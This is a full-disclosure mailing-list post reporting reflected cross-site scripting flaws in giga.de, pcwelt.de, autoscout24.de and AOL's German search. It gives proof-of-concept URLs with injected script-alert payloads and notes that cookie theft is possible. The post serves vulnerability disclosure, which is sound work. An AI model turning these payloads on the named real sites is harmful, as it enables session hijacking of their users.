[Full-Disclosure] XSS vulnerabilities in several german communities + aol search

[Habonator _ <habonator@xxxxxxxxx>]

I've discovered XSS bugs in several big german communities.
All these communities use a cookie based authentification so its
possible to inject script code to steal users cookies.

All vendors have been informed.

1. giga.de - NBC GIGA Community
*************
Affected:
Whole Comment-System

Example:
http://www.giga.de/news/comments/index.php?id=XXXXXX&newstypid=XXXXX";><script>alert("foo");</script><form%20"

2. pcwelt.de - Community of the PC-WELT - Magazine
*************
Affected:
Search

Example:
http://www.pcwelt.de/index.cfm?pid=XXX&stichwort=<script>alert("foo");</script>

3. autoscout24.de - online car market
*************
Affected:
All offering sites

Example:
http://www.autoscout24.de/home/index/detail.asp?ts=XXXXXXX";><script>alert("foo");</script><form%20"&source=topcar&id=XXXXXXXXXXX

Last but not least, not a community but a funny one:
http://suche.aol.de/suche/search.jsp?q=%3Cscript%3Ealert%28%27foo%27%29%3B%3C%2Fscript%3E&wo=

**************************
Discovered by "Habonator"
At home at http://www.hackerboard.de
Hi to tripbit.
**************************

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html